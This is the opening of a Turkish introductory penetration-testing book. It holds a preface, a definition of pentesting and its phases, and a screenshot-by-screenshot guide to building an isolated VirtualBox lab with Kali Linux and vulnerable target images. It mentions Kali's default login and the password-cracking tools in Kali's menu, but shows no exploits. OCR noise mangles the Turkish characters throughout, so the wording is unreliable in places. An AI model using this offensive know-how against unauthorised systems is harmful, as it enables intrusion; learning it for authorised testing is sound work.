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ONSOz

“Dismani ve kendinizi iyi biliyorsaniz, ylizlerce savasa bile girseniz sonu¢tan
emin olabilirsiniz. Kendinizi bilip diismani bilmiyorsaniz, kazanacaginiz her
zafere karsin bir de yenilgiye mahkdm olursunuz. Ne kendinizi ne de diismani
biliyorsaniz sizin icin girecedginiz her savasta ciddi bir yenilgi tehlikesi vardir.”

Sun Tzu?

Dinyada bilgi glivenligi konusu olduk¢ca 6nemli bir hale geldi ve 6nemi
artmaya devam ediyor. Artik devletler arasinda siber savasin konusulmaya
baslandigi ve bunun ornekleriyle karsilastigimiz bir déneme giriyoruz. ABD,
Rusya, Cin ve iran gibi tlkelerin siber saldirilarla ilgili haberleri basinda siklikla
yer aliyor. Bu Ulkeler savasa hazirlik ve hacker yetistirme konusunda ciddi
yatirimlar yapiyor.? Bilgi giivenligi ve sizma testleri tiniversitelerde ders olarak
okutuluyor.

Turkiye’de de siber saldirilar konusunda ciddi calismalar yurataltyor. Bu
alanda danismanlik hizmeti veren firmalarin sayisi artiyor. Ancak buna ragmen
bankalar ve zorunlu bilgi glivenligi standartlarina tabi tutulanlar harig bircok
kurumda glivenlik en temel seviyede. Cogu bilisimci icin bilgi glivenligi; glivenlik
duvari ve antivirts uygulamalarindan ibaret.

Siber savasl, kendilerini korumaya calisan ‘iyiler’ ve onlara saldiran ‘kotiler’
arasindaki bir savasa benzetirsek; bu savasta glcli taraf kotiler. Onlar son
teknolojileri kullaniyorlar, yenilikleri takip ediyorlar ve hatta bazilarinin
arkasinda ¢ok biyuk kurumlar veya devletler var. Bilgi teknolojileri uzmani
acisindan baktigimizda ise ¢alisan, cogunlukla triin satma odakl firmalarin
tanitimlariyla siber saldirilar hakkinda, bir derece bilgi sahibi oluyor. Fakat

' http://en.wikiquote.org/wiki/Sun_Tzu

2WWC Report by Fireeye 2013



savastaki en 6nemli kaide olan ‘dismanini tanima’ konusunda bilgi seviyesi
neredeyse sifir. Dismanini tanimadan ve silahlarini bilmeden kazilacak mevzi ve
gelistirilecek savunma silahlari ne derece faydali olabilir? Bu, savunmadan ¢ok
g6zl kapali bir kumara benziyor. Savasta basarili olmak icin hem kendimizi hem
de diismanimizi bilmemiz gerekiyor.

Diasmani bilmek, onun kullandigi silahlari ve yontemleri bilmekten geciyor.
Bu ise ¢ok okuma, arastirma ve uygulama yapma ihtiyacini beraberinde
getiriyor. Siber saldirilar alaninda kitap bulma konusunda Tirkiye’de ciddi
sikinti yasaniyor. Genel bir arastirma yaptiginizda, birkag ceviri kitaptan baska
kaynak bulmakta ¢ok zorlanacaksiniz. Geri kalan tek alternatif beyaz sapkali
hacker ve sizma testi egitimleri oluyor. Ne var ki bu egitimlerin fiyatlari kendini
gelistirmek isteyenler icin pek de uygun degil. Bundan dolayi ben de beyaz
sapkali hacker egitimi alamayan ama bireysel olarak calisip kendini gelistirmek
isteyenler icin bu kitabl yazmaya karar verdim.

Bilginin paylasildik¢a artacagina ve boylelikle daha bilingli nesiller
yetisecegine inancim tam. Turkiye’de kendini yetistirmek isteyen ve kaynak
bulmakta zorlanan; bir egitime binlerce dolar ayiramayan insanlar i¢in kaynak
niteligindeki bu calismanin faydali olacagini umut ediyorum.

Fuat Ulugay

Mayis 2016



BU KITABI KIMLER OKUMALI?

Bilgi glivenligi, sizma testi ve hacking konularina ilgi duyan ama nereden ve
nasil baslayacagini bilemeyen ve kaynak bulmakta zorlananlar bu kitaptan
istifade edebilir.

Kitap giris seviyesinde oldugu i¢in sadece temel bilgisayar kullanim bilgisi
yeterli olacak sekilde hazirlanmistir. Temel bilgisayar kullanimiyla ilgili beklenti
asagida listelenmistir:

v" Temel Microsoft Windows bilgisi
internette gezinme
Yazilim kurma

AN NERN

Temel Linux bilgisi (Olduk¢a faydali olacaktir. Eger bilginiz yoksa kitaptaki
adim adim anlatimlarla ilerleme saglayabilirsiniz.)

KITABI OKURKEN

1. Herhangi bir bolimu atlamadan, sayfa siralamasina gére okumayi
surdirmek konuyu dogru sekilde kavramaniza yardimci olacaktir.
Her bolimdeki uygulamalari yapmak pratiklesmenizi saglayacaktir.
Bilgi size bir glic saglayacaktir. Yasalara uygun hareket ederek bu gici iyi
amaglara hizmet igin kullanmali ve izinsiz olarak sirketlerin veya sahislarin
sistemlerine saldirmamalisiniz.
4. Ihtiyac duyabileceginiz bazi yazilimlari miimkiin oldugunca icretsiz
olanlardan sectim.
Temel olarak tzerinde galisacagimiz bir isletim sistemi: Windows
veya bir Linux trevi olabilir.
Bir sanallastirma uygulamasi: VMware Player veya VirtualBox



Temel olarak saldiri merkezimiz olacak isletim sistemi: Kali Linux®
Egitim icin hazirlanmis, saldirip ele gegirmeye ¢alisacagimiz sanal
bilgisayarlar:
De-ICE serisi CD imajlari®
Metasploitable °
pWnOS®
Windows XP

*http://www.kali.org
* http://hackingdojo.com/dojo-media
> http://sourceforge.net/projects/metasploitable

®http://www.pwnos.com



BiRINCI BOLUM

SIZMA TESTI

Sizma testi nedir?

Sizma testi, ilgili kisilerden izin alarak bilgisayar sistemlerinin gtivenlik
aciklarini ve zafiyetlerini tespit etmek; erisim saglamak ve bu sistemleri ele
gecirme ornekleri olusturmaktir. Sizma testi, ayrica penetrasyon testi veya
kisaca pentest olarak da adlandirilir. Sizma testi sonucu olusturulan raporlarda:

e Mevcut sistem aciklarinin tespiti,
e Aciklardan faydalanarak nasil sizma saglandiginin érneklerle kaniti,
e Aciklari kapatmayla ilgili ¢6ziim Onerileri yer alir.

Pentest sonucu yapilacak ¢calismayla mevcut bilgisayar sistemleri daha
glvenli hale gelecektir. Yalniz dikkat edilmesi gereken konu; mevcut agiklari
kapatmaya odaklanmanin yaninda, kok nedenler tespit edilerek bu aciklar
olusturan asil sebepleri ortadan kaldirmaktir. Bu sebepler ortadan
kaldirilmadigi stirece yeni glvenlik agiklari olusmaya devam edecek ve ayni
suregler tekrarlanmak zorunda kalacaktir.

Ornek olarak; mevcut sunucularda giivenlik yamalari disiik seviyede kaldig
icin kolay bir sizma saglanmis olabilir. Kisa vadeli ¢oztum, ilgili sunucularin
glvenlik yamalarini yapmaktir. Uzun vadeli ve asil ¢6ziim ise yama islemlerini
otomatiklestirmek veya bir is plani ¢cercevesinde yuritmektir.

Sizma testinin agsamalari



Sizma testi, genel kabul gormus dort asamadan olusur:

=

Kesif
Zafiyet taramasi

B &

Sizma, ele gegirme

=]

Sizma sonrasi kaliciligin saglanmasi

Yukaridaki asamalarin her biri icin detaylar, ilgili bélimlerde verilecektir. Son
bir madde olarak rapor hazirlanmasi da sizma testine eklenebilir. Raporlama,
testin direkt icindeki adimlardan olmasa da en 6nemli maddelerinden biridir.
Raporla, musteriye aciklari, ele gecirme orneklerini ve sonrasinda ¢éziim
Onerilerini gosterebiliriz. Basarili ve anlasilir bir rapor ayni zamanda miusteri
acisindan basarili bir pentest’in gostergesidir.

Sizma testi igin kullanilabilecek hazir isletim sistemleri

Bir hacker olarak her tiirlt ihtiyacimizin elimizin altinda oldugu bir ortam
hayal etseydik ve bu gercek olsaydi; hayalimizin karsiligi Backtrack 57 ve Kali
Linux® olurdu. Her ikisi de Linux tiirevi isletim sistemleridir. ihtiya¢ duyacagimiz
hemen hemen her tirli yazilim hazir olarak bu sistemlerde mevcuttur.

Backtrack uzun yillar boyunca yapilan gesitli calismalarin bir birlesimi.
Backtrack baslangic olarak Whoppix, IWHAX ve Auditor gibi Linux tirevlerine
dayaniyor. ilk gelistirildiginde biitiin araglarin yer aldigi tek bir CD olarak
tasarlanmis. Amag, bu CD Uzerinden isletim sistemini ¢alistirmak ve bilgisayari
kapattiktan sonra herhangi bir iz birakmamak. Son yillara kadar diinyada en ¢ok
kullanilan sizma testi ortamlarindan birisiydi.

"http://www.backtrack-linux.org

8 http://www.kali.org



Kali Linux, Backtrack’in “Offensive Security”® ekibi tarafindan dénusturiliup
gelistirilmesiyle olusturulan bir isletim sistemidir. Uzerinde 300’den fazla sizma
testi ve glivenlik uygulamasi yer alir. Backtrack artik yenilenmemektedir ve web

sitesi de Kali Linux sitesine yonlendirilmektedir. Bu nedenle testlerimizde Kali
Linux kullanacagiz.

° http://www.offensive-security.com



Ozet

Sizma testi nedir?

Bilgisayar sistemlerini daha glivenli hale getirmek icin izinli olarak yapilan
aciklik taramasi ve ele gecirme faaliyetlerine sizma testi denir.

Sizma testinin agsamalari

=]

Kesif
Zafiyet taramasi

M &

Sizma, ele gecirme

=

Sizma sonrasi kalicihgin saglanmasi

Sizma testi i¢in kullanilabilecek hazir isletim sistemleri

Backtrack 5
Kali Linux



IKINCi BOLUM

ILK SIZMA TESTi LABORATUVARIMIZ

Sizma testi laboratuvari

Sizma testi denemelerimizde eger izinsiz olarak sirketlere, baska insanlarin
bilgisayarlarina saldirirsak veya aciklik taramasi yaparsak bunun kanuni
sonuglari olabilir. Bundan dolayi her hacker’in kendini gelistirmek ve pratik
yapmak icin bir laboratuvar ortamina ihtiyaci vardir.

Kuracagimiz laboratuvar ortami mimkiin oldugunca yalitilmis olmali;
network ve internet erisimi kapali olmalidir. Dis baglantilar bizim
kontroliimizde olmalidir. Bu sekilde laboratuvarimizda kuracagimiz glivensiz
sistemlerin bizim disimizdaki kisilerce hack’lenmesini ve disariya gereksiz trafik
olusturarak kanuni acidan problemli durumlar olusmasini énleyebiliriz.

Bilgi giris ¢ikisinin olmadigi laboratuvarinizda bitlin saldiri araglarini
rahatlikla kullanabileceginiz bir ortama kavusmus olacaksiniz. Anlatilanlari
deneyerek ilerleyeceginizi baz aldigimiz igin laboratuvar ortami gelisiminizde
¢cok onemli rol oynayacaktir.

Sizma testi laboratuvarimizi bitlin dis ag baglantilarini kopardigimiz
bilgisayarlarin oldugu kapal ve fiziksel bir agda da kurabiliriz. Ne var ki bu
ortami yanimizda tasimak ve istedigimiz zaman g¢alismak pek mimkiin olmaz.
Bundan dolayi laboratuvarimiz sanal bir ortam olacak. Sanallastirmayla bitiin
laboratuvarimiz tek bir diztistl bilgisayarda tasinabilir olarak yanimizda
bulunacak. Sanal ortamda kullanacagimiz yapi asagidaki gibi olacak:

e  Bir saldiri bilgisayari: Kali Linux
e Bircok kurban bilgisayar:



=]

De-ICE serisi CD imajlar*®

=

Metasploitable!!
pWnOS!?
Windows XP

B X

Bundan sonraki adimimiz laboratuvar ortamimiz icin sanallastirma

platformunun kurulmasi.

VirtualBox kurulumu

VirtualBox bir sanallastirma ortamidir. VirtualBox sayesinde sanal
bilgisayarlarimizi tek bir bilgisayar Gizerine kuracagiz. Ayrica sanal agimizi da
olusturup kapali bir ag icinde saldiri ve kurban bilgisayarlarimizi olusturacagiz.

ik is olarak VirtualBox sitesine gidip gerekli kurulumu indirecegiz. Kurulumu
indirmek icin asagidaki adrese gidelim. Adresi yazmak yerine Google’dan
“download virtualbox” seklinde arama yapip gelen sonuglara da tiklayabilirsiniz.

https://www.virtualbox.org/wiki/Downloads

Asagidaki resimde de goreceginiz lizere Windows, Mac OS X ve Linux
ortamlari icin indirme secenekleri mevcut.

9 http://hackingdojo.com/dojo-media
" http://sourceforge.net/projects/metasploitable

2 http://www.pwnos.com


https://www.virtualbox.org/wiki/Downloads

Here, you will find links to VirtualBox binaries and its source code.

VirtualBox binaries

By downloading, you agree to the terms and conditions of the respective license.

* VirtualBox platform packages. The binaries are released under the terms of the GPL version 2.
© VirtualBox 5.0.10 for Windows hosts ©’ x86/amd64

© VirtualBox 5.0.10 for OS X hosts > amd64

© VirtualBox 5.0.10 for Linux hosts

© VirtualBox 5.0.10 for Solaris hosts " amdé64

* VirtualBox 5.0.10 Oracle VM VirtualBox Extension Pack ~ All supported platforms
Support for USB 2.0 and USB 3.0 devices, VirtualBox RDP and PXE boot for Intel cards. See this chapter
and Evaluation License (PUEL).
Please install the extension pack with the same version as your installed version of VirtualBox!
If you are using VirtualBox 4.3.34, please download the extension pack “*here.
If you are using VirtualBox 4.2.36, please download the extension pack ™ here.
If you are using VirtualBox 4.1.44, please download the extension pack - here.
If you are using VirtualBox 4.0.36, please download the extension pack ©»here.

¢ VirtualBox 5.0.10 Software Developer Kit (SDK) =’ All platforms

Hangi isletim sistemini kullaniyorsaniz ona gore ilgili dosyayi indirin.
indirdiginiz dosyayi ¢ift tiklayarak calistirin.

ﬁ! Oracle VM VirtualBox 5.0.10 Setup -

Oracle VM VirtualBox 5.0.10

Please wait while the Setup Wizard installs Orade VM VirtualBox 5.0.10. This may
take several minutes.

Status: Copying new files
—_— J

Version 5.0.10 < Back H Next> | l Cancel ]

pr—— — T —— Pl




Bundan sonra ¢ikan adimlarda “Next”, “Yes” ve “Install” se¢ceneklerinden
hangileri cikarsa onlari secerek ilerleyin. Son olarak karsiniza asagidaki sekilde

“Finish” adimi ¢ikacak.

-
144 Oracle VM VirtualBox 5.0.10 Setup

Oracle VM VirtualBox 5.0.10
installation is complete.

Clck the Finish button to exit the Setup Wizard,

V| Start Orade YM VirtualBox 5.0. 10 after installation

Version 5.0.10 Back |[_Fnish |

Dikkat etmeniz gereken bir husus da bilgisayarin BIOS ayarlariyla ilgilidir.
BIOS ayarlarinda sanallastirma engelleniyorsa VirtualBox kurulumunda ve
calismasinda problem yasayacaksiniz. Eger sanallastirmayi engelleme ayari
aktifse bilgisayarin BIOS ayarlarina girilip izin verilmesi gereklidir. Kurulum
bitince bilgisayarinizin masaUstinde asagidaki gibi “Oracle VM VirtualBox”

ikonunu goreceksiniz.



L

Recycle Bin VMware
VSphem

3¢

Enterprise  Oracle VM
Connect VirtualBox

VirtualBox kurulumunu basariyla bitirdiniz. Bundan sonraki adimda Kali

Linux kurulumuyla devam edecegiz.

VirtualBox’ta Kali Linux’u baslatmak

Kali Linux’u ne amacla kullanacagimizi bir 6nceki bélimde anlatmistik. Bu
boélimde kuruluma gegiyoruz. Kurulumu VirtualBox sanal ortaminda yapacagiz.
Bunun icin 6ncelikli olarak Kali Linux’u asagidaki adresten indirecegiz.

http://www.kali.org/downloads/

Bu adresten “Kali Linux 2.0 64 Bit ISO” dosyasini indiriyoruz. Kitabi
okudugunuz zaman daha glincel bir stirim ¢ikmis olabilir. Bu noktada dikkat
etmeniz gereken 64 Bit ISO stirimunu indirmektir.

Diger bir secenek https://www.offensive-security.com/kali-linux-vmware-

arm-image-download/ adresinden hazir Kali VBox imajini indirmek olabilir.



http://www.kali.org/downloads/
https://www.offensive-security.com/kali-linux-vmware-arm-image-download/
https://www.offensive-security.com/kali-linux-vmware-arm-image-download/

indirdiginiz bu imaja cift tikladiginizda VirtualBox sistem ayarlarini teyit
etmenizi ister. “Import” butonuna tiklayip varsayilan ayarlarla Kali Linux’un
VirtualBox’a yuklenmesini saglayabilirsiniz.

& ™
V¢ Oracle VM VirtualBox Manager e o B8] X
{:} /J T & Snapshots
| Dew  Settinns. D F T —

3¢ Importing Appliance ...: Importing appliance ‘C:/Users/uzeyir.gafarli/VirtualBox... ﬂ

Importing virtual disk image 'Kali-Linux-2.0.0-vbox-amdé4-disk1.vmdk' ... (2/3)

@- P — E

2 minutes, 34 seconds remaining

m

@ Network Adapter [V]Intel PRO/1000 MT Desktop (52540EM)
0 Storage Controller (IDE) PIIX4 [
o Storage Controller {IDE) PIIX4 ‘,
4 0 Storage Controller (SATA)  AHCI I

Virtual Disk Image C:h\Users\uzeyir.gafarli\VirtualBox VMs\Kali-... ‘ [

-

[] Reinitialize the MAC address of all network cards

Restore Defaults Import

Host Driver: Windows DirectSound
Controller:  ICH AC97

TT

Bu sekilde yiklenen Kali Linux’a kullanici adi icin ‘root’, parola i¢in ‘toor’
yazarak giris yapabilirsiniz.
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Kali Linux Downloads

Download Kali Linux Images

We generate fresh Kali Linux image files every few months, which we make available for download, This page provides the

links to download Kali Linux in it's latest release. For a release history, check our Kali Linux Releases page.

Image Name Direct Torrent Size Version SHA1Sum

Kali Linux 64 bit SO Torrent 3.1G6 2.0 aaeb8%a78f155377282181a785aa1b38ee5f8bal
Kali Linux 32 bit iSO Torrent 3.2G 2.0 625e6390b%d2f6a54bc580f50d6312d9c77bi30b
Kali Linux 64 bit Light Torrent 0.8G 2.0 {c5410bab48ded247e5549d9dd%ee51465124ab
Kali Linux 32 bit Light IS0 Torrent 0.9G 2.0 bd9f8ee52e4d31fc2dela77ddc23%ea2acB 13572
Kali Linux 64 bit mini 150 N/A 28M 2.0 5639928a1473b144d16d7ca3b9c?1791925da23c
Kali Linux 32 bit mini IS0 N/A 28M 2.0 48132a0776612d4ccb04dfe 1 eafIbbaal81f68ae

Kali Linux’un kendi sitesinden indirdigimiz dosyanin kurulumuna geri
donecek olursak, bu dosyanin buytkligli 3 GB oldugu icin internet hiziniza gore
indirmeniz biraz zaman alabilir. indirme tamamlandiktan sonra bir énceki
boélimde kurdugumuz VirtualBox’un masalstindeki ikonuna cift tiklayip

programi calistiriyoruz. Acilan pencerede sol Uist kosede “New” diigmesine
tiklyoruz.



File Machine Help

{:} e ¥ =

Settings Discard Start,

Bu penceredeki alanlar

{*3 Details | |50 Snapshots

Welcome to VirtualBox!

The left part of this window is a list of all virtual machnes on your computer. The Iist is empty now because you haven't
created any virtua machines yet. “\ Qd/e =

In order to create a new virtua maching, press the New button in the main tool bar 5"‘[ N
located at the top of the window. . )

You can press the F1 key to getinstant help, or visit www.virtuslbox.org for the latest g
S0 1

3

information and news.

I dolduruyoruz:

Name: Kuracaginiz bilgisayar igin bir isim girin. “Kali Linux” kurdugumuz igin

aynli ismi giriyorum.

Type: isletim sistemi tipi olarak “Linux” girilmesi gerekiyor.

Version: Kali bir Debian turevi oldugu ve 64 bit indirdigimiz icin “Debian (64-

bit)”i secmemiz gerekiyor.

“Next” butonu ile deva

m edin.
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& Creatz Virtual Machine

Name and operating system

Please -hoose a descriptive name for the new virtual machine and select the
type of operating system you intend to install on it. The name you choose will
be used throughout VirtualBox to idertify this machine.

Name: Kali Linux

Type: [Linux v]
%)

Version: [Debsan (64-bit)

|ExpertMode | [ Next || cancel

Acilan pencerede isletim sisteminin hafiza blyuklugini seciyoruz. Pencere
ilk acildiginda 512 MB segenegiyle geliyor. Eger yeterli RAM’iniz varsa miktari
2048 MB olarak segin ve “Next” segenegini tiklayin.
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Create Virtual Machine

Memory size

Select the amount of memory (RAM) in megabytes to be allocated to the
virtual machine.

The recommended memory size is 768 MB.
U 2048 || mB

4MB 16384 MB

[ Next J[ Cancel ]

Simdi sanal bilgisayarimiz icin sabit disk olusturacagiz. “Create a virtual hard
disk now” yani “Yeni bir sanal disk olusturun” secenegini isaretliyoruz ve
“Create” dugmesine tikliyoruz.
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Hard disk

If you wish you can add a virtual hard disk to the new machine. You can either
create a new hard disk file or select one from the list or from another location
using the folder icon.

If you need a more complex storage set-up you can skip this step and make
the changes to the machine settings once the machine is created.

The recommended size of the hard disk is 8.00 GB.

(”) Do not add a virtual hard disk
@ Create a virtual hard disk now

() Use an existing virtual hard disk file

B} Attacker.vdi (Normal, 16.91 GB) v| @

Bu adimda sanal hard disk tipi seciliyor. VirtualBox’un kendi standardi olan
VDI'1 seciyoruz ve “Next” ile devam ediyoruz.
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W/ Create Virtual Hard Disk ) —

Hard disk file type

Please choose the type of file that you would like to use for the new virtual hard disk. If you
do not need to use it with other virtualization software you can leave this setting
unchanged.

@ VDI (VirtualBox Disk Image)
(") VMDK (Virtual Machine Disk)
) VHD (Virtual Hard Disk)
(") HDD (Parallels Hard Disk)
) QED (QEMU enhanced disk)
) QCOW (QEMU Copy-On-Write)

|Experthode | [ Next || cancel |

Fiziksel hard diskimizde ‘sabit alan mi ayiracagiz’ yoksa ‘dinamik olarak mi
boyutu degisecek’ secenekleri karsimiza cikiyor. Dinamik olarak ayrilan
(Dynamically allocated) secenegiyle devam edebiliriz.
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Storage on physical hard disk

Please choose whether the new virtual hard disk file should grow as it is used (dynamically
allocated) or if it should be created at its maximum size (fixed size).

A dynamically allocated hard disk file will only use space on your physical hard disk as it
fills up (up to a maximum fixed size), although it will not shrink again automatically when
space on itis freed.

A fixed size hard disk file may take longer to create on some systems but is often faster to
use,

@ Dynamically allocated

(") Fixed size

[ Next J[ Cancel ]

Sonraki adimda hard disk alaninin ne kadar olacagini segiyoruz. Daha dnce
dinamik alan ayirma secenegini isaretledigimiz icin 40 GB alan se¢gmemizde bir
sikinti olmayacaktir. Yalniz Kali Linux’u kullandik¢a daha fazla alan rezerve
edilecegini ve ileride fiziksel hard diskte yeterli alan yoksa sikinti
yasayabileceginizi dikkate almaniz gerekebilir. Son olarak “Create” secenegiyle
devam ediyoruz.
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File location and size

Please type the name of the new virtual hard disk file into the box below or dick on the
folder icon to select a different folder to create the file in.

Kali Linux Iﬁ

Select the size of the virtual hard disk in megabytes. This size is the limit on the amount of
file data that a virtual machine will be able to store on the hard disk.

U“ 40.00 GB

[Create ][Cancd]

Artik sanal bilgisayarimiz hazir hale geldi. Su anda “Powered Off” yani
bilgisayarimiz kapali olarak duruyor ve agmamizi bekliyor.
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EEEE=)

File Machine Help

(=3 Details | (@ Snapshots

@ General [E]  preview
Name: Kal Linux
Operating System: Deban (64-bit)

[3] system

Base Memory: 2048 MB

Boot Order: Floppy, Optical, Hard Disk

Acceleration:  VT-x/AMD-V, Nested Paging, KVM
Paravirtuaization

Kali Linux

=l pisplay

Video Memory: 12MB

Remote Desktop Server: Disabled

Video Capture: Disabled -
Storage

Controler: IDE
1DE Secondary Master: [Optical Drive] Empty

Controler: SATA
SATA Port 0:

(B Audio

Host Driver:  Windows DirectSound
Controler:  ICH AC97

Kali Linux.vdi (Normal, 40.00 G8)

=P MNetwork
Adapter 1: Intel PRO/1000 MT Desktop (NAT)

(’ uss

USB Controller:  OHCI
Device Filters: 0 (0 active)

[1 Shared folders

Neans

“Start” digmesine bastigimizda kurulum icin yeni bir pencere acilacak.

Burada asagidaki kirmiziyla isaretli digmeye basarak daha dnce indirdigimiz

“kali-linux-2.0-amd64.iso” dosyasini seciyoruz ve “Start” ile devam ediyoruz.



’ Select start-up dis,

~—

Please select a virtual optical disk file or a physical optical drive
containing a disk to start your new virtual machine from.

The disk should be suitable for starting a computer from and should
contain the operating system you wish to install on the virtual machine
if you want to do that now. The disk will be ejected from the virtual
drive automatically next time you switch the virtual machine off, but
you can also do this yourself if needed using the Devices menu.

kali-inux-2.0-amd64.iso (3.09 GB) | &

Start I‘ Cancel ’

Sonunda “Kali Linux” baslangic ekranini gérmeyi basardik. Once “Live

(amd64)” secenegiyle kurulum yapmadan DVD’den calistiralim. Daha sonra
kurulumla devam edecegiz.
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Live (amd64)

Live (amd64 failsafe)

Live (forensic mode)

Live USB Persistence

Live USB Encrypted Persistence
Install

Graphical install

Install with speech synthesis
Advanced options

KAL

“the quieter you become, the more you are able to hear”

Boot menu

(check kali.org/prst)
(check kali.org/prst)

@ @ K? = IE @ & E] Right Control

Kali Linux karsimizda ve “Live” modunda calisiyor. Bu mod, kurulum

yapmadan ¢alistirma ve isimiz bittiginde kapatma imkani saghyor. Kurulum

olmadigi icin kapattigimizda bilgisayarda bir iz birakmamis oluyoruz. Fakat biz

kurulum yaparak devam edecegiz ¢uinki galismalarimizi kaybetmek

istemiyoruz.
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. Applications ~

BOFIES® U@ B retconwd

Kali Linux’ta en sik kullanilan guivenlik ve saldiri araglarini Gst menude
Applications’a tiklayarak bulabilirsiniz. Resimdeki gibi “Password Attacks”
boliminl segersek sifre kirma araglarinin listelendigini gorebiliriz.
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Applications ¥ Places ¥ Fri 13:40

"\
Favorites
01 - Information Gathering

02 - Vulnerability Analysis

Ry
- Web Application Analysis aspcat

0 Database ment john

05 - Password Attacks
jehnny

06 - Wireless Attacks

medusa
7 - Reverse Engineering eSS

08 - Exploitation Tools

2 - Sniffing & Spoofing
S ophcrack
D - Post Exploitation

- Forensics pymt

2 - Reporting Tools

rainbowcrack

- System Services

Usual applications

Activities Overview

Bir sonraki adimda Kali Linux’un kurulumuyla devam edecegiz.

Kali Linux kurulumu

Kurulum ile Kali’yi kalici hale getirecegiz. Kurulumu baslatmadan 6nce
bilgisayarinizin internete bagli oldugundan emin olun. Boylelikle kurulum
sirasinda ag yapilandirmasi ve bazi glincellemeler otomatik olarak yapilabilir.
Laboratuvarimizin ilk bilgisayari Kali olacak. “Live” modunda acilista




Applications = Usual Applications = System Tools = Install Kali adimlarini
secerek kurulum yapabiliriz.

T Kali Linux [Running) - Oracle VM VirtualSox SRR
|

Applications ¥ Places ¥

dconf Editor

Orensxs
Guymager

G
12 - Reporting Tools :
13 - System Services A4 Install Kali

Usual applications Lynis auditing tool
Accessories

) Midnight Commander
Electronics

Graphics Ophcrack

< < ¢
Hamradio Package Updater

Internet

Reportbug
Office
Other oot Terming
Programming
Sound & Video
Sundry
System Tools
Universal Access
Utdities

Activities Overview

“Live” modunda Kali isletim sistemini kurmak istemiyorsak, isletim sistemini
tekrar baslatip “Install” veya “Graphical Install” secenegini kullanabiliriz. Biz
sistemi tekrar baslatip “Install” segenegine tiklayarak ilerleyelim.
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“the quieter you become, the more you are able to hear”

Boot menu

Live (amd64)

Live (amdb4 failsafe)

Live (forensic mode)

Live USB Persistence (check kali.org/prst)
Live USB Encrypted Persistence (check kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options

B ®& @ =@ @ G @ riht Control

Karsimiza ilk olarak dil secimi geliyor: “Select a language”. “English”
secenegine tiklayip devam ediyoruz. Burada ingilizce segmemizin en nemli
sebeplerinden biri cevirilerin tamamlanmamasi sebebiyle yari ingilizce yari
Tirkge isletim sistemi kullanmanin pek de kolay olmamasi. Diger sebep olarak
da bilgisayar korsanligi kariyerinizde ilerlemek icin ingilizce bilgisinin cok 6nemli
oldugu gosterilebilir. Tlrkge kaynak sikintisi bir yana, yeni ¢ikan agiklik ve yama
bilgilerinin tamami ingilizce yayinlaniyor. Bundan dolayi ingilizce ile devam
etmeniz ve bu aliskanhgi gelistirmeye bir yerden baslamaniz faydaniza olacaktir.
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Fite: Machine  View input - Devices  Help

ROP PSS O S [ rotconta

Konum sec¢imi “Select your location” adiminda sirasiyla, Other - Asia 2>
Turkey secenegini ayarlayip devam ediyoruz.
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File Machine  View' Input Devices Help

QPO LIEE DS B rehtconvol

Daha sonraki asamada “United States” ile devam ediyoruz. “Keymap”
kisminda “Turkish (Q layout)” seciyoruz.
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[!!] Configure the keuboard

Keumap to use:

Persian
Philippines
Polish
Portuguese
Punjabi
Romanian
Russian
Serbian (Cyrillic)
Sindhi
Sinhala
Slovak
Slovenian
Spanish
Suwedish
Swiss French
Swiss German
Tajik

Tamil

Telugu

Thai

Tibetan

Turkish (F laiout)

Ukrainian
Uughur
Vietnamese

<Go Back>

<Tab> moves; <Space> selects: <Enter> activates huttons

cIoY- = & ([ @ [#] right control

Bir sonraki adimda “Loading additional components” (ek bilesenler
yukleniyor) bilgisi ekrana gelecek.
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1 Loading additional components |

19%

Retrieving partman-bhasicmethods

3OS =@ @ @ [ rohtcontol

Daha sonra ag yapilandirmasiyla devam ediyoruz. Ag yapilandirmasinda ilk
soru “Hostname” oluyor yani bilgisayarimiza bir isim secmemiz gerekiyor. Ben
“kali” ismini giriyorum. Fakat bu noktada istege bagli bir tercih yapilabilir.
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| [!] Configure the network i

Please enter the hostname for this system.

The hostname is a single word that identifies uour sustem to the network. If you don't
know what your hostname should be, consult your network administrator. If you are setting
up your own home network, you can make something up here.

Hostname:

<Go Back> <Cont inue>

(Tab> moves; <Space> selects; <Enter> activates buttons

ge& e = & (@ &3 (#] rRight control

ikinci asamada “Domain name” (alan adi) secmemiz gerekiyor. Ben
calismamiza uygun olarak “hackinglab” alan adini giriyorum fakat bu kisim da
istege bagli olarak degistirilebilir. Sadece harf girmeye ve Tirkce karakter
kullanmamaya dikkat edilmesi gerekir.
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{ [I] Configure the network |

The domain name is the part of your Internet address to the right of your host name. It
is often something that ends in .com, .net, .edu, or .org. If you are setting up a home
network, you can make something up, but make sure you use the same domain name on all
your computers.

Domain name:

<Go Back> <Cont inue>

{Tah> moves; <Space» selects; <Enter> activates buttons

BOF @ 1™ @ 3 D @ RihtcControl

Bir sonraki adim sifre belirlemede dikkat etmeniz gereken, yeterince
karmasik bir sifre segmektir. Sekiz karakterden daha kisa, sadece sayi ve/veya
rakamlardan olusan sifreler bilgisayar korsanlarinin en sevdigi sifrelerdir. Daha
ileri seviye bilgi ihtiyaci olmadan sirf sifre kiricilarla sisteme giris bu basit sifreler
sayesinde mimkun olur. Bu, ¢ogu sirkette ve kamu kurumunda
karsilasabileceginiz en kolay sizma yollarindan biridir. Sifremizi girdikten sonra
teyit icin tekrar ayni sifreyi girip “Continue” tusuna tikhyoruz.
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[11] Set up users and passuwords |
You need to set a password for 'root', the system administrative account. A malicious or
ungualified user with root access can have disastrous results, so you should take care to
choose a root password that is not easy to guess. It should not be a word found in
dictionaries, or a word that could be easily associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be
changed at regular intervals.

The root user should not have an empty password. If you leave this empty, the root
account will be disabled and the system's initial user account will be given the power to
hecome root using the "sudo' command.

Note that you will not be able to see the password as you tupe it.

Root password:

<Go Back> <Continues

<{Tab> moves; <Space> selects; <Enter> activates buttons

BOPS S @ D G retconrnd

Devam ettiginizde disk yapilandirma adimina gegildigini goreceksiniz. Diski
manuel olarak yapilandirmak istemiyorsak bu bélimu “Guided - use entire
disk” secerek gecebiliriz. Daha sonraki ekranda disk bilgisi gosterilecek. Bu
adimi da “Enter” tusuyla gecebiliriz.
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1 [1!] Paptition disks |

The installer can guide you through partitioning a disk (using different standard
schemes) or, if you prefer, you can do it manually. With guided partitioning you will
still have a chance later to review and customise the results.

If you choose guided partitioning for an entire disk, wou will next be asked which disk
should be used.

Partitioning method:

suided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrupted LVM
Manual

<Go Back>

<{Tab> moves; <Space> selects; <Enter> activates buttons

